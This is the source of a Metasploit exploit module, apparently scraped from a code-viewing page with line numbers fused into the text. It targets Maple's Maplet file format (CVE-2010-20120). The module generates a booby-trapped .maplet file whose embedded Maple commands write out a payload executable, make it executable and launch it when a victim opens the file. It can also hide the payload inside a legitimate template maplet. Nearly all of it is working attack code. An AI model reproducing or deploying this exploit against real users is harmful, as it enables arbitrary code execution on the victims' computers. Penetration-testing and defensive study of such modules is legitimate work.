Path: blob/master/modules/exploits/multi/fileformat/maple_maplet.rb
24400 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::FILEFORMAT9include Msf::Exploit::EXE1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Maple Maplet File Creation and Command Execution',16'Description' => %q{17This module harnesses Maple's ability to create files and execute commands18automatically when opening a Maplet. All versions up to 13 are suspected19vulnerable. Testing was conducted with version 13 on Windows. Standard security20settings prevent code from running in a normal maple worksheet without user21interaction, but those setting do not prevent code in a Maplet from running.2223In order for the payload to be executed, an attacker must convince someone to24open a specially modified .maplet file with Maple. By doing so, an attacker can25execute arbitrary code as the victim user.26},27'License' => MSF_LICENSE,28'Author' => [29'scriptjunkie'30],31'References' => [32[ 'CVE', '2010-20120' ],33[ 'OSVDB', '64541'],34[ 'URL', 'http://www.maplesoft.com/products/maple/' ]35],36'Payload' => {37'Space' => 1024,38'BadChars' => '',39'DisableNops' => true,40# 'Compat' =>41# {42# 'PayloadType' => 'cmd',43# 'RequiredCmd' => 'generic perl telnet',44# }45},46'Platform' => %w{win linux unix},47'Targets' => [48[49'Windows',50{51'Arch' => ARCH_X86,52'Platform' => 'win'53}54],5556[57'Windows X64',58{59'Arch' => ARCH_X64,60'Platform' => 'win'61}62],6364[65'Linux',66{67'Arch' => ARCH_X86,68'Platform' => 'linux'69}70],7172[73'Linux X64',74{75'Arch' => ARCH_X64,76'Platform' => 'linux'77}78],7980[81'Universal CMD',82{83'Arch' => ARCH_CMD,84'Platform' => %w{linux unix win}85}86]8788],89'DisclosureDate' => '2010-04-26',90'DefaultTarget' => 0,91'Notes' => {92'Reliability' => UNKNOWN_RELIABILITY,93'Stability' => UNKNOWN_STABILITY,94'SideEffects' => UNKNOWN_SIDE_EFFECTS95}96)97)9899register_options(100[101OptString.new('TEMPLATE', [ false, 'The file to infect.', '']),102OptString.new('FILENAME', [ true, 'The output file.', 'msf.maplet']),103]104)105end106107def exploit108cmd = ''109content = ''110if target['Arch'] != ARCH_CMD111# Get payload as executable on whatever platform112binary = generate_payload_exe113114# Get filename and random variable name for file handle in script115fname = rand_text_alpha(3 + rand(15))116if target['Platform'] == 'win'117fname << ".exe"118end119fhandle = rand_text_alpha(3 + rand(15))120121# Write maple commands to create executable122content = fhandle + " := fopen(\"#{fname}\",WRITE,BINARY);\n"123exe = binary.unpack('C*')124125content << "writebytes(#{fhandle},[#{exe[0]}"126lines = []1271.upto(exe.length - 1) do |byte|128if (byte % 100 == 0)129lines.push "]);\r\nwritebytes(#{fhandle},[#{exe[byte]}"130else131lines.push ",#{exe[byte]}"132end133end134content << lines.join("") + "]);\r\n"135136content << "fclose(" + fhandle + ");\n"137# Write command to be executed138if target['Platform'] != 'win'139content << "system(\"chmod a+x #{fname}\");\n"140end141content << "system[launch](\"#{fname}\");\n"142else143content << "system(\"#{payload.encoded}\");\n"144end145146# Then put the rest of the original maplet147if datastore['TEMPLATE'] != ''148File.open(datastore['TEMPLATE'], 'rb') do |fd|149content << fd.read(File.size(datastore['TEMPLATE']))150end151end152153# Create the file154print_status("Creating '#{datastore['FILENAME']}' file...")155file_create(content)156end157end158159160